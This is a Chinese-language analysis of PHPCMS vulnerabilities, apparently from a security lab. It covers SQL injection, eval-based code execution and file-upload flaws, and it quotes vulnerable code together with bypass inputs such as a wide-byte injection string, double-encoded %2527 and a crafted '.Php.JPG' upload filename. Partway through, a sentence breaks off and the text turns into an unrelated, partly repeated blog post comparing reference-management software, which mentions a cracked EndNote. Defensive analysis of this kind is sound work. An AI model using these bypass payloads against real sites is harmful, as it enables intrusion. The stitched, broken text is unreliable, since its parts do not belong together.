從2005年P(guān)HPCMS第一版創(chuàng )立,到2007年推出PHPCMS 2007版本,再到2008年年底推出了PHPCMS 2008版本,四年三大版本均贏(yíng)得了市場(chǎng)好評,最終在2010年盛大在線(xiàn)收購PHPCMS后,PHPCMS推出了主線(xiàn)產(chǎn)品PHPCMS V9版本,到2017年5月推出了最新的V9.6.3版本,PHPCMS仍為現在國內領(lǐng)先的內容管理系統,是各大站長(cháng)建站的首選。
根據全網(wǎng)數據統計,使用PHPCMS的網(wǎng)站多達4萬(wàn)多個(gè),其中大部分集中在國內,共有約3萬(wàn)余個(gè),占使用量的75%以上,同時(shí),PHPCMS在教育行業(yè)約有上千個(gè)網(wǎng)站使用,在政府部門(mén)的網(wǎng)站中,也有上百個(gè)網(wǎng)站使用,其他則用于商業(yè)用途,具體分布如下圖:
從圖中可以看出,PHPCMS的使用范圍較廣,其中在政府部門(mén)中不乏市縣級政府這樣的客戶(hù);教育行業(yè)內,也不乏國內大學(xué)的校級、院系官網(wǎng)使用PHPCMS作為其發(fā)布信息的官方主頁(yè);商業(yè)用途中,PHPCMS也備受中小型企業(yè)的青睞。
PHPCMS的版本更新迭代速度以及功能齊全等特性也為其快速擴張提供發(fā)展基礎。但是,PHPCMS安全嗎?
PHPCMS安全嗎?
根據千里目實(shí)驗室漏洞庫的統計,PHPCMS從創(chuàng )辦到如今近十三年,產(chǎn)品三大版本的漏洞總量高達100余個(gè),其中核心版本PHPCMS2008系列、PHPCMS V9系列高危漏洞近40個(gè),在40個(gè)漏洞之中,全網(wǎng)公布的高可利用性漏洞個(gè)數也高達兩位數,其中尤其PHPCMS V9最多,所以,PHPCMS的安全性一直備受廣大用戶(hù)的質(zhì)疑。
經(jīng)過(guò)對PHPCMS高危漏洞的分析整理以及統計,PHPCMS的高危漏洞類(lèi)型主要有以下五類(lèi):SQL注入類(lèi)、命令執行類(lèi)、任意文件上傳類(lèi)、任意文件下載類(lèi)、任意文件讀取類(lèi)。其中SQL注入問(wèn)題是最為嚴重的一類(lèi),不管數量還是威脅性都是其中最高的,5類(lèi)漏洞的數量具體分布占比如下圖。接下來(lái)按照這些漏洞中威脅性最高的五類(lèi)漏洞來(lái)介紹PHPCMS的經(jīng)典漏洞,以及漏洞間的共性和漏洞成因。
2.1 SQL注入漏洞
PHPCMS框架層面分析
PHPCMS的核心版本中,PHPCMS v9的SQL注入問(wèn)題比PHPCMS 2008要嚴重很多,這是為什么?
首先從PHPCMS的框架上分析了這個(gè)問(wèn)題的原因。PHPCMS2008中對GPC變量的處理, 是在
include/common.inc.php中使用$db->escape($_GET)對輸入變量進(jìn)行轉義,實(shí)質(zhì)上是調用了
mysql_real_escape_string,PHP手冊上對這個(gè)函數的描述:
string mysql_real_escape_string ( string $unescaped_string [, resource $link_identifier ] )
#本函數將 unescaped_string中的特殊字符轉義,并考慮到連接的當前字符集,因此可以安全用于 mysql_query()
也就是說(shuō)PHPCMS 2008中使用mysql_real_escape_string對輸入變量進(jìn)行處理,是可以達到防注入效果的,PHPCMS2008中這樣的處理方式是比較安全的,但是也有其不合理的一面,原因在于:入口中對所有變量進(jìn)行mysql_real_escape_string處理,顯然并不是所有變量需要入庫,這樣處理必須影響性能(連接mysql->發(fā)送變量至mysql server ->mysql server轉義->返回給PHP程序)。
而PHPCMS V9在入口文件phpcms/libs/classes/param.class.php中采用以下方式:
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
new_addslashes其實(shí)就是調用了PHP內置的addslashes對GPC變量添加轉義斜線(xiàn),這就相當于php.ini中打開(kāi)了magic_quotes_gpc選項,PHP手冊中對magic_quotes_gpc的處理有以下描述:
Warning
This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.
從PHP 5.4.0開(kāi)始,已經(jīng)不支持magic_quotes_gpc了,這是為什么?
(1)性能:由于并不是每一段被轉義的數據都要插入數據庫的,如果所有進(jìn)入 PHP 的數據都被轉義的話(huà),那么會(huì )對程序的執行效率產(chǎn)生一定的影響。
(2)方便性:由于不是所有數據都需要轉義,在不需要轉義的地方看到轉義的數據就很煩。比如說(shuō)通過(guò)表單發(fā)送郵件,結果看到一大堆的 \'。
(3)安全問(wèn)題:事實(shí)上addslashes或開(kāi)啟magic_quotes_gpc并不能完全杜絕SQL注入。因為addslashes對有些特殊字符后跟上'(單引號)并不會(huì )加把這個(gè)'變成/',如:0xbf27的字就不會(huì ),所以縗' OR 1 limit 1/* 這個(gè)就存在。
針對這個(gè)問(wèn)題,PDO擴展而生,它主要解決兩個(gè)問(wèn)題:批量查詢(xún)時(shí)使用prepare提升查詢(xún)性能,使用參數化查詢(xún)從根本上杜絕SQL注入,但是PHPCMS V9的phpcms\libs\classes\param.class.php依舊使用以下代碼,所這就是造成PHPCMS中SQL注入如此之多的根本原因。:
private $route_config = '';
public function __construct() {
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
PHPCMS漏洞層面分析
從具體的漏洞來(lái)看,PHPCMS代碼中出現的SQL注入點(diǎn)主要有三種情況:

第一種情況,即外部可控參數未進(jìn)行任何過(guò)濾,這種問(wèn)題是因為系統設計人員代碼設計的不嚴謹導致。其中最經(jīng)典的PHPCMS v9 前臺用戶(hù)登錄處SQL注入漏洞產(chǎn)生即是因為這個(gè)原因:用戶(hù)在登錄頁(yè)面輸入用戶(hù)名與密碼,在\phpcms\modules\member\index.php的login方法中,username使用的is_username進(jìn)行了過(guò)濾而password沒(méi)有做任何處理。
$username = isset($_POST['username']) && is_username($_POST['username']) ?
trim($_POST['username']) : showmessage(L('username_empty'), HTTP_REFERER);
$password = isset($_POST['password']) && trim($_POST['password']) ?
trim($_POST['password']) : showmessage(L('password_empty'), HTTP_REFERER);
$cookietime = intval($_POST['cookietime']);
$synloginstr = ''; //同步登陸js代碼
所以,Password就成為了一個(gè)注入點(diǎn)。輸入的username以及password被傳到phpsso模塊中進(jìn)行認證,而phpsso模塊并沒(méi)有解析過(guò)濾用戶(hù)名與密碼就直接進(jìn)行認證,認證后直接將信息返回到登錄頁(yè)面的login方法中。
第二種情況也是SQL注入中的經(jīng)典情形,即代碼中處理外部輸入數據的時(shí)候使用了urldecode()函數。比如單引號被 urlencode 兩次以后是 %2527,然后 POST。PHP 內部在生成全局變量 $_POST 的時(shí)候會(huì )先 urldecode,得到 %27,然后 PHP 會(huì )檢查 Magic Quotes 的設置,但是無(wú)論是否開(kāi)啟 Magic Quotes,%27 都不會(huì )被 addslashes,因為這時(shí)根本沒(méi)有單引號。
但是這時(shí)如果你在 PHP 代碼中畫(huà)蛇添足的加上 urldecode,%27就變成單引號了,這樣就成功繞過(guò)了,這種情況出現的根源在于之前分析的PHPCMS使用magic_quotes_gpc這種方式來(lái)處理外部數據。
PHPCMS V9 WAP SQL注入漏洞即是因為這種情況:
function comment_list() {
$WAP = $this->wap;
$TYPE = $this->types;
$comment = pc_base::load_app_class('comment','comment');
pc_base::load_app_func('global','comment');
$typeid = intval($_GET['typeid']);
$GLOBALS['siteid'] = max($this->siteid,1);
$commentid = isset($_GET['commentid']) && trim(urldecode($_GET['commentid'])) ?
trim(urldecode($_GET['commentid'])) : exit('參數錯誤');
list($modules, $contentid, $siteid) = decode_commentid($commentid);
list($module, $catid) = explode('_', $modules);
$comment_setting_db = pc_base::load_model('comment_setting_model');
$setting = $comment_setting_db->get_one(array('siteid'=>$this->siteid));
這段代碼中在處理外部可控參數commentid的時(shí)候,使用了urldecode()函數,最終可以采用%2527的方式來(lái)進(jìn)行過(guò)濾繞過(guò)。
PHPCMS db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
$rs = $this->db->get_one(array('id'=>$id)); //id傳入sql查詢(xún)語(yǔ)句
在函數中,代碼通過(guò)GET獲取'a_k'值,并調用sys_auth函數進(jìn)行解密,然后使用parse_str()來(lái)解析解密后的$a_k參數,將字符串解析到變量中,并同時(shí)解碼。在parse_str()解析的過(guò)程中,就將之前構造好的SQL注入paylaod賦值到各個(gè)參數,并且繞過(guò)了所有限制。
這個(gè)漏洞利用還有另一個(gè)關(guān)口,就是需要將payload使用sys_auth加密,同樣,PHPCMS一個(gè)任意文件下載漏洞也是這個(gè)原理:構造payload—>sys_auth加密—>帶入到phpcms\modules\content\
down.php文件init函數中—>進(jìn)行解碼并parse_str()解析,payload通過(guò)這種方式可以繞過(guò)所有過(guò)濾關(guān)口,最終成功觸發(fā)。
從之上的分析可知,所有的SQL注入漏洞其根源都在magic_quotes_gpc方法上。但是除了框架之外,如此多的SQL注入問(wèn)題就在于程序員對待代碼邏輯的不嚴謹,缺少對外部可控參數的過(guò)濾或者說(shuō)是缺少完全的過(guò)濾驗證過(guò)程,PHP是很靈活的語(yǔ)言,其代碼的邏輯嚴謹程度即代表著(zhù)它的安全性高低!
命令執行漏洞
命令執行是一類(lèi)威脅性非常大的漏洞類(lèi)型,大多數“一鍋端”(能夠getshell,控制全站)漏洞都是命令執行漏洞。由之前的漏洞數量分布可知,命令執行問(wèn)題的數量?jì)H次于SQL注入,但是它的嚴重程度可能更甚于SQL注入漏洞。
PHPCMS框架中的命令執行漏洞大部分都是由于一個(gè)函數,即global.func.php中的string2array()函數,函數代碼如下:
/**
* 將字符串轉換為數組
*
* @param string $data 字符串
* @return array 返回數組格式,如果,data為空,則返回空數組
*/
function string2array($data) {
$data = trim($data);
if($data == '') return array();
if(strpos($data, 'array')===0){
@eval("\$array = $data;");

}else{
if(strpos($data, '{\\')===0) $data = stripslashes($data);
$array=json_decode($data,true);
if(strtolower(CHARSET)=='gbk'){
$array = mult_iconv("UTF-8", "GBK//IGNORE", $array);
}
}
return $array;
}
該函數中使用了eval函數,這就代表所有調用這個(gè)函數的地方,如果存在過(guò)濾不嚴的情況,都會(huì )出現嚴重的命令執行漏洞。當然,我們不用懷疑程序員寫(xiě)BUG的能力,PHPCMS中多個(gè)命令執行漏洞都是因為外部參數未進(jìn)行嚴格過(guò)濾,就直接帶進(jìn)了string2array()中進(jìn)行處理,所以最終觸發(fā)了漏洞。
其中最經(jīng)典的一個(gè)漏洞PHPCMS 2008任意代碼執行漏洞,該漏洞利用門(mén)檻之低讓人大跌眼鏡,漏洞的出處就在yp/web/include/common.inc.php的menu變量:
$menu = string2array($menu);
$siteurl = $m_s_url[1] = $M['url'].'web/?'.$userid;
$introduceurl = $m_s_url[2] = $siteurl.'/category-introduce.html';
$newsurl = $m_s_url[3] = $siteurl.'/category-news.html';
$product = $m_s_url[4] = $siteurl.'/category-product.html';
$buyurl = $m_s_url[5] = $siteurl.'/category-buy.html';
$joburl = $m_s_url[6] = $siteurl.'/category-job.html';
$joburl = $m_s_url[7] = $siteurl.'/category-certificate.html';
$guestbookurl = $m_s_url[8] = $siteurl.'/category-guestbook.html';
$contacturl = $m_s_url[9] = $siteurl.'/category-contact.html';
Menu參數是一個(gè)外部可控參數,該參數被被傳進(jìn)后臺之后未經(jīng)過(guò)任何處理以及限制,導致在string2array()函數中直接被eval函數執行,導致遠程代碼執行漏洞。
而這個(gè)函數從PHPCMS 2008到PHPCMS V9一直都存在,而該系統程序員也只是在之后每一個(gè)調用此函數的地方都先對傳入參數進(jìn)行過(guò)濾或者限制,但是任何過(guò)濾限制都有被繞過(guò)的可能,之后的事實(shí)證明確實(shí)如此,比如之后再V9版本出現的PHPCMS V9 phpcms\
modules\dbsource\data.php出現的遠程命令執行漏洞,PHPCMSV9 /phpcms/modules/vote/
index.php代碼執行漏洞等均是因為這個(gè)原因。
所以,防止PHP程序出現代碼執行漏洞有一條金科玉律:永遠不要在代碼中使用eval。
因為,很少有人能夠掌控住這個(gè)函數,一旦控制不住,可能就會(huì )出現一個(gè)“一鍋端”的命令執行漏洞。
另外PHPCMS中出現的一個(gè)PHPCMS /phpsso_server/phpcms/modules/phpsso/index.php代碼執行漏洞,它的思想很特別、也很典型。該漏洞中存在的一個(gè)猛獸理論值得很多程序員以及安全研究人員來(lái)認真研究的?!懊瞳F來(lái)了,我們應該將其絕殺在門(mén)外,但是有些人非得把它放進(jìn)屋內,才殺之,你們難道不知道猛獸的嘴里可能叼了一個(gè)炸藥包嗎? 砰!!!結果全都玩完了…”。下面用具體代碼來(lái)解釋這個(gè)理論。
其中:
猛獸放進(jìn)室內:copy($_GET['src'],$_GET['dst']);
這條猛獸不安全,殺之:unlink($_GET['dst']);
炸藥包:$_GET['dst'] 此炸藥包的作用是生成惡意文件。
這段代碼中存在缺陷的地方就是將“猛獸”放進(jìn)市內的地方:
copy($_GET['src'],$_GET['dst']);
可將任意文件copy成惡意文件,如木馬,后來(lái)發(fā)現這個(gè)文件不安全,然后使用unlink將之刪除...,但是,有種可能就是木馬在刪除之前,生成了新的木馬文件,結果可想而知。
PHPCMS V9
/phpsso_server/phpcms/modules/phpsso/index.php任意命令執行就是這個(gè)原理。首先上傳頭像,頭像的格式被壓縮為zip格式文件,然后文件到了/phpsso_server/phpcms/modules/phpsso/index.php的uploadavatar()函數,首先被解壓,然后判斷為非jpg文件后刪除。攻擊者利用這個(gè)漏洞的過(guò)程中是將webshell保存為jpg中,構造后綴名突破jpg的限制,在文件被上傳解壓后,webshell執行在上層目錄生成一個(gè)新的webshell文件,由此觸發(fā)漏洞。
命令執行漏洞的威脅性極大,在任何代碼審計中,只要代碼中出現了eval,assert等這類(lèi)代碼執行函數后,都有可能出現代碼執行漏洞。并且猛獸理論也應該在被關(guān)注,這樣的邏輯在很多代碼中都會(huì )被用到,其解決的方法即應該在第一步的時(shí)候就處理風(fēng)險,不能將“猛獸放進(jìn)屋來(lái)”。
任意文件上傳漏洞、任意文件下載、任意文件讀取漏洞
這三類(lèi)漏洞是關(guān)于文件操作的漏洞,具有很多的共性。PHPCMS中的任意文件上傳漏洞主要是因為文件上傳過(guò)程中,文件類(lèi)型的限制不嚴或者因為存在過(guò)濾限制繞過(guò),導致可以上傳一些可執行文件,最終GetShell。該類(lèi)漏洞與代碼執行很相似,最根本就是為了執行上傳文件中的惡意代碼。
其中PHPCMS v9 注冊頁(yè)面任意文件上傳漏洞和PHPCMS v9.6.1 后綴名提取導致任意文件上傳漏洞都是一種采用構造后綴名繞過(guò)限制過(guò)濾的漏洞。第一個(gè)漏洞中的正則要求輸入滿(mǎn)足src/href=url.(gif|jpg|jpeg|bmp|png),則構造的(
?。┓线@一格式(這也就是為什么后面要加.jpg的原因)。之后通過(guò)一系列處理,將.jpg去掉,那么最后文件的后綴就變成了.php成為了可執行文件。
而第二個(gè)漏洞中則因strtolower(trim
(substr(strrchr($filename, '.'), 1, 10)));處理被繞過(guò),攻擊這可以使用/1.thumb_.Php.JPG%20%20
%20%20%20%20%20Php來(lái)繞過(guò)過(guò)濾,最終由于apache的文件名解析特性(可以去掉空格)導致上傳文件里php代碼最終被解析執行。所以該類(lèi)漏洞中,都是因為對文件名后綴缺少更嚴謹的處理,導致上傳可執行文件最終導致getshell。
PHPCMS
文獻管理軟件太多不知道用哪個(gè)?今天教你怎么管理文獻!
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 86 次瀏覽 ? 2022-07-14 22:54
又一輪畢業(yè)季來(lái)了,臨近畢業(yè)的師兄師姐每天在改論文、微信組團打卡中度過(guò)。這樣還不能激勵你們看文獻么?
好了我們言歸正傳。上一篇大家已經(jīng)知曉了下載文獻的各種方法,不管是白貓還是黑貓,能下載到文獻的就是好喵~。下載文獻只是科研工作者的第一步。接下來(lái),對于文獻分類(lèi)管理和標注就是最重要的一環(huán)了。眾所周知,文獻管理軟件有很多,大名鼎鼎的Endnote、Mendeley、Zotero等等……Oh wait,如果你現在還不知道哪個(gè)適合你, 那么下面仔細聽(tīng)小編娓娓道來(lái)噢。注:最下端的表格對比幫助你更快的選擇合適自己的文獻管理軟件噢!
1. EndnoteEndnote可謂是眾多科研人員的心頭好了。它是SCl(Thomson Scientific公司)的官方軟件,支持國際期刊的參考文獻格式3776種,涵蓋各個(gè)領(lǐng)域的雜志和寫(xiě)作模板。Endnote一個(gè)最大的特點(diǎn)就是支持word插件,這對于在word里編輯參考文獻,更新編號提供了極大的優(yōu)勢。另外,EndNote的強大之處還在于其自定義特性,通過(guò)自定義EndNote的輸出格式,濾件和連接論文件。Endnote擁有多種在線(xiàn)數據庫以及十分清晰的文獻管理頁(yè)面,導入PDF之后,可以自動(dòng)獲取信息并進(jìn)行排版。題庫樣式很全。在知網(wǎng)或其他文獻搜索平臺下載endnote格式直接導入。然而,Endnote的不足之處在于分組只支持二級目錄,批注功能較弱,文件識別速度慢,Label功能只能在排序窗口的中間位置顯示Label結果,且不能選擇不同Tag,也不時(shí)在窗口顯示,需要時(shí)常保存。不過(guò)總體來(lái)說(shuō),Endnote還是很適合大多數科研人員的,譬如小編自己也在用。下面來(lái)一睹真容。(瞧這一目了然的頁(yè)面誰(shuí)能不愛(ài)呢)
Endnote資源合集:官網(wǎng):;中文幫助:;Output Styles 下載:;
Import filters 下載:;
Connection files 下載:;
Writing templates 下載:;
科學(xué)網(wǎng)EndNote資源大全:(內有視頻教程)
??;
2.MendeleyMendeley最早是由德國的三個(gè)博士開(kāi)發(fā),后被Elsevier收購的。它是一個(gè)在線(xiàn)的學(xué)術(shù)社交網(wǎng)絡(luò )平臺,可一鍵抓取網(wǎng)頁(yè)上的文獻信息添加到個(gè)人圖書(shū)館中;比較適合本地操作和大量PDF的文件管理。社區功能讓Mendeley這幾年名聲大噪。Mendeley的免費下載讓很多人欣喜。除此之外,還提供MS Word和Open Office插件,方便在文字編輯器中插入和管理參考文獻。支持免費云同步。Mendeley界面稍遜于Endnote(自我感覺(jué))。并且對于國內用戶(hù)來(lái)說(shuō)有個(gè)不好的功能,需要聯(lián)網(wǎng)登陸才能使用, 在線(xiàn)訪(fǎng)問(wèn)的速度很慢,極大影響體驗。
Mendeley資源合集:Mendeley 官網(wǎng):;Mendeley for Windows:
??;Mendeley for Mac OS X 10.6+:
??;Mendeley Desktop for Linux:
??;Mendeley for iphone,iPod Touch and iPad:
??;Mendeley 的使用講解:;
3. Zotero用Zotero的人員也不在少數。Zotero是一個(gè)開(kāi)放源代碼的文獻管理軟件,其特色之處是可以作為瀏覽器插件進(jìn)行使用。本地的Zotero的文獻數據庫還可以免費上傳到Zotero的網(wǎng)絡(luò )服務(wù)器上,不受空間大小限制。相比于EndNote, Zotero最大的特色是無(wú)限級的目錄分類(lèi),一個(gè)目錄下可以分為多個(gè)子目錄,這樣很便于管理文獻。Zotero還支持文獻的自定義標簽功能,為每個(gè)文獻自動(dòng)打上標簽。另外,Zotero編輯文檔使用外部工具,插件豐富,不存在軟件崩潰現象。但是!Zotero的缺點(diǎn)是文獻管理、分類(lèi)方式較單一。必須使用Firefox瀏覽器。
Zotero資源合集:Zotero 官網(wǎng):;Zotero for Windows: ;
Zotero for Chrome:;
Zotero for Firefox:;
Zotero for Safari:;
4.CitaviCitavi來(lái)自瑞士Swiss Academic Software公司生產(chǎn)的一款文獻管理軟件,在歐洲被廣泛使用,它不僅可以知識管理、任務(wù)計劃,而且支持PDF原文全文搜索,可以搜索超過(guò)4800個(gè)圖書(shū)館目錄和所有主要的信息提供者的數據庫。在閱讀整理筆記方面,Citavi不僅可以深度整合pdf備注功能,而且還支持創(chuàng )建pdf格式的網(wǎng)頁(yè)截圖噢!
Citavi資源合集:Citavi 官網(wǎng):;Citavi 官方教程:;
Citavi 中文網(wǎng)站:;
Citavi 6 下載地址:;
Citavi 6 中文論壇:;
Citavi 貼吧:;
5.PapersPapers 是一款Mac平臺專(zhuān)業(yè)的文獻管理工具。它的主要功能包括文獻導入、組織、閱讀(注釋?zhuān)?、自?dòng)匹配參考條目,搜索、在文檔中插入引用、評點(diǎn)交流等。Papers的一大特點(diǎn)就是支持PDF抓取文獻關(guān)鍵信息,支持與iPhone/iPad互聯(lián),可以通過(guò)云盤(pán)方式實(shí)現文獻多終端閱讀。Papers支持六大云盤(pán)Box、Google Drive、iCloud、OneDrive、SugarSync、Network file shared。另外,Papers并不是通過(guò)Word插件的方式來(lái)引用文獻,而是通過(guò)彈出窗口的方式添加文獻。插入引用文獻時(shí)雙擊鍵盤(pán)Control鍵,在彈出的小窗口搜索所需要文獻插入即可??偟膩?lái)說(shuō),Papers功能也是很強大的,但是在創(chuàng )建作者名的顯示方式、標點(diǎn)的設置方面,還是Endnote更詳盡一些啦!
Mac重度使用者必備噢!
Papers資源合集:Papers for mac官網(wǎng)教程:;各種雜志格式的Github的鏈接:;
6.NoteExpressNoteExpress 是北京愛(ài)琴海軟件公司開(kāi)發(fā)的一款專(zhuān)業(yè)級別的文獻檢索與管理系統。是一款國產(chǎn)文獻管理軟件,支持20多種在線(xiàn)搜索數據庫,可以很輕松地查找各種數據文獻。擁有快速檢索的能力,支持數以百計的圖書(shū)館數據庫和網(wǎng)絡(luò )電子庫。軟件分為個(gè)人版和集團版兩個(gè)版本,大部分學(xué)校會(huì )購買(mǎi)集團版的版權,個(gè)人版只能免費試用30天。在官網(wǎng)下載完成后注冊賬號就可以嵌入word中使用了。NoteExpress對中文文獻非常友好、中文雜志的引文格式數量多??梢砸灶}錄的方式管理文獻。完美兼容WPS,而且全中文界面,操作簡(jiǎn)單。此外,NoteExpress還提供了重復題目去重、文獻校對等功能。想要一款中文版易上手軟件的童鞋們可以放心使用NoteExpress!
word插件如下:
NoteExpress資源合集:NoteExpress 官網(wǎng)下載:;NoteExpress圖文教程:;優(yōu)酷教程鏈接:;
7.JabRefJabRef是一個(gè)開(kāi)放源代碼、處理BibTeX格式的文獻管理軟件,提供了簡(jiǎn)易操作的界面來(lái)編輯BibTeX檔案。它的功能包含從網(wǎng)絡(luò )上的科學(xué)數據庫匯入資料,以及整理和搜尋 BibTeX 檔案等。它的另一大優(yōu)勢是可以使用于各種操作系統,如 Windows、Linux、Mac OS X。
JabRef資源合集:JabRef 主頁(yè):;JabRef使用手冊:
8.ReadcubeReadCube是個(gè)有前途的軟件,有著(zhù)非常強大的搜索功能,它和谷歌學(xué)術(shù)、PubMed以及Readcube自己的文獻庫高度集成,可以隨時(shí)進(jìn)行搜索,以文獻閱讀為中心。ReadCube還能根據我們文獻庫里的文獻推薦近期相似的文獻,(這個(gè)小機靈鬼),可見(jiàn),它唯一的缺點(diǎn)就是收費了。
ReadCube資源合集:官網(wǎng):;軟件介紹: ;優(yōu)酷視頻教程:;
文獻管理軟件一覽表
軟件
Endonte
Mendeley
Zotero
Citavi
費用
付費(250美元),有破解版
免費
免費
免費
文獻管理
Word引文插件;標注PDF文件;筆記功能
Word引文插件;PDF文件內搜索;標注PDF文件;跨平臺同步;筆記功能
Word引文插件;跨平臺同步
Word引文插件;PDF文件內搜索;標注PDF文件;跨平臺同步;筆記功能
文獻搜索
全文搜索;搜索跨外部數據庫
開(kāi)放數據庫;個(gè)性化文章建議;讀者統計和社區標簽;打開(kāi)Web API;全文搜索;搜索跨外部數據庫
打開(kāi)Web API;全文搜索
開(kāi)放數據庫;個(gè)性化文章建議;讀者統計和社區標簽;打開(kāi)Web API;全文搜索;搜索跨外部數據庫
支持平臺
Windows系統;瀏覽器;Android版;圖書(shū)館系統集成
Windows系統;瀏覽器;Android版;圖書(shū)館系統集成;Mac;IOS
Windows系統;瀏覽器;Mac;圖書(shū)館系統集成
Windows系統;瀏覽器;圖書(shū)館系統集成
數據提取
DOI;嵌入式元數據
DOI;嵌入式元數據;PubmedID和ArxivIDs;引文細節
DOI;嵌入式元數據;PubmedID和ArxivIDs;引文細節
DOI;嵌入式元數據;PubmedID和ArxivIDs;引文細節
軟件
Papers
NoteExpress
JabRef
Readcube
費用
付費(79美元)
付費(學(xué)生版198,永久版 698 元)
免費
免費
文獻管理
Word引文插件;標注PDF文件;筆記功能
重復題目去重;文獻校對;標注PDF文件;筆記功能;標注PDF文件
整理和搜尋 BibTeX 檔案
Word引文插件;PDF文件內搜索;標注PDF文件;跨平臺同步;筆記功能
文獻搜索
全文搜索;搜索跨外部數據庫
搜索跨外部數據庫
搜索跨外部數據庫
開(kāi)放數據庫;個(gè)性化文章建議;搜索跨外部數據庫
支持平臺
瀏覽器;Android版;圖書(shū)館系統集成
Windows系統;瀏覽器;
Windows系統;Mac;IOS
Windows系統;瀏覽器;Android版;圖書(shū)館系統集成;Mac;IOS
數據提取
DOI;嵌入式元數據;PubmedID和ArxivIDs;引文細節
DOI;引文細節
DOI;PubmedID;引文細節
DOI;嵌入式元數據;PubmedID和ArxivIDs;引文細節
說(shuō)明
本文內容若存在版權問(wèn)題,請聯(lián)系我們及時(shí)處理。
歡迎廣大讀者對本文進(jìn)行轉發(fā)宣傳。 查看全部
文獻管理軟件太多不知道用哪個(gè)?今天教你怎么管理文獻!
又一輪畢業(yè)季來(lái)了,臨近畢業(yè)的師兄師姐每天在改論文、微信組團打卡中度過(guò)。這樣還不能激勵你們看文獻么?
好了我們言歸正傳。上一篇大家已經(jīng)知曉了下載文獻的各種方法,不管是白貓還是黑貓,能下載到文獻的就是好喵~。下載文獻只是科研工作者的第一步。接下來(lái),對于文獻分類(lèi)管理和標注就是最重要的一環(huán)了。眾所周知,文獻管理軟件有很多,大名鼎鼎的Endnote、Mendeley、Zotero等等……Oh wait,如果你現在還不知道哪個(gè)適合你, 那么下面仔細聽(tīng)小編娓娓道來(lái)噢。注:最下端的表格對比幫助你更快的選擇合適自己的文獻管理軟件噢!
1. EndnoteEndnote可謂是眾多科研人員的心頭好了。它是SCl(Thomson Scientific公司)的官方軟件,支持國際期刊的參考文獻格式3776種,涵蓋各個(gè)領(lǐng)域的雜志和寫(xiě)作模板。Endnote一個(gè)最大的特點(diǎn)就是支持word插件,這對于在word里編輯參考文獻,更新編號提供了極大的優(yōu)勢。另外,EndNote的強大之處還在于其自定義特性,通過(guò)自定義EndNote的輸出格式,濾件和連接論文件。Endnote擁有多種在線(xiàn)數據庫以及十分清晰的文獻管理頁(yè)面,導入PDF之后,可以自動(dòng)獲取信息并進(jìn)行排版。題庫樣式很全。在知網(wǎng)或其他文獻搜索平臺下載endnote格式直接導入。然而,Endnote的不足之處在于分組只支持二級目錄,批注功能較弱,文件識別速度慢,Label功能只能在排序窗口的中間位置顯示Label結果,且不能選擇不同Tag,也不時(shí)在窗口顯示,需要時(shí)常保存。不過(guò)總體來(lái)說(shuō),Endnote還是很適合大多數科研人員的,譬如小編自己也在用。下面來(lái)一睹真容。(瞧這一目了然的頁(yè)面誰(shuí)能不愛(ài)呢)
Endnote資源合集:官網(wǎng):;中文幫助:;Output Styles 下載:;
Import filters 下載:;
Connection files 下載:;
Writing templates 下載:;
科學(xué)網(wǎng)EndNote資源大全:(內有視頻教程)
??;
2.MendeleyMendeley最早是由德國的三個(gè)博士開(kāi)發(fā),后被Elsevier收購的。它是一個(gè)在線(xiàn)的學(xué)術(shù)社交網(wǎng)絡(luò )平臺,可一鍵抓取網(wǎng)頁(yè)上的文獻信息添加到個(gè)人圖書(shū)館中;比較適合本地操作和大量PDF的文件管理。社區功能讓Mendeley這幾年名聲大噪。Mendeley的免費下載讓很多人欣喜。除此之外,還提供MS Word和Open Office插件,方便在文字編輯器中插入和管理參考文獻。支持免費云同步。Mendeley界面稍遜于Endnote(自我感覺(jué))。并且對于國內用戶(hù)來(lái)說(shuō)有個(gè)不好的功能,需要聯(lián)網(wǎng)登陸才能使用, 在線(xiàn)訪(fǎng)問(wèn)的速度很慢,極大影響體驗。
Mendeley資源合集:Mendeley 官網(wǎng):;Mendeley for Windows:
??;Mendeley for Mac OS X 10.6+:
??;Mendeley Desktop for Linux:
??;Mendeley for iphone,iPod Touch and iPad:
??;Mendeley 的使用講解:;
3. Zotero用Zotero的人員也不在少數。Zotero是一個(gè)開(kāi)放源代碼的文獻管理軟件,其特色之處是可以作為瀏覽器插件進(jìn)行使用。本地的Zotero的文獻數據庫還可以免費上傳到Zotero的網(wǎng)絡(luò )服務(wù)器上,不受空間大小限制。相比于EndNote, Zotero最大的特色是無(wú)限級的目錄分類(lèi),一個(gè)目錄下可以分為多個(gè)子目錄,這樣很便于管理文獻。Zotero還支持文獻的自定義標簽功能,為每個(gè)文獻自動(dòng)打上標簽。另外,Zotero編輯文檔使用外部工具,插件豐富,不存在軟件崩潰現象。但是!Zotero的缺點(diǎn)是文獻管理、分類(lèi)方式較單一。必須使用Firefox瀏覽器。
Zotero資源合集:Zotero 官網(wǎng):;Zotero for Windows: ;
Zotero for Chrome:;
Zotero for Firefox:;
Zotero for Safari:;
4.CitaviCitavi來(lái)自瑞士Swiss Academic Software公司生產(chǎn)的一款文獻管理軟件,在歐洲被廣泛使用,它不僅可以知識管理、任務(wù)計劃,而且支持PDF原文全文搜索,可以搜索超過(guò)4800個(gè)圖書(shū)館目錄和所有主要的信息提供者的數據庫。在閱讀整理筆記方面,Citavi不僅可以深度整合pdf備注功能,而且還支持創(chuàng )建pdf格式的網(wǎng)頁(yè)截圖噢!
Citavi資源合集:Citavi 官網(wǎng):;Citavi 官方教程:;
Citavi 中文網(wǎng)站:;
Citavi 6 下載地址:;
Citavi 6 中文論壇:;
Citavi 貼吧:;
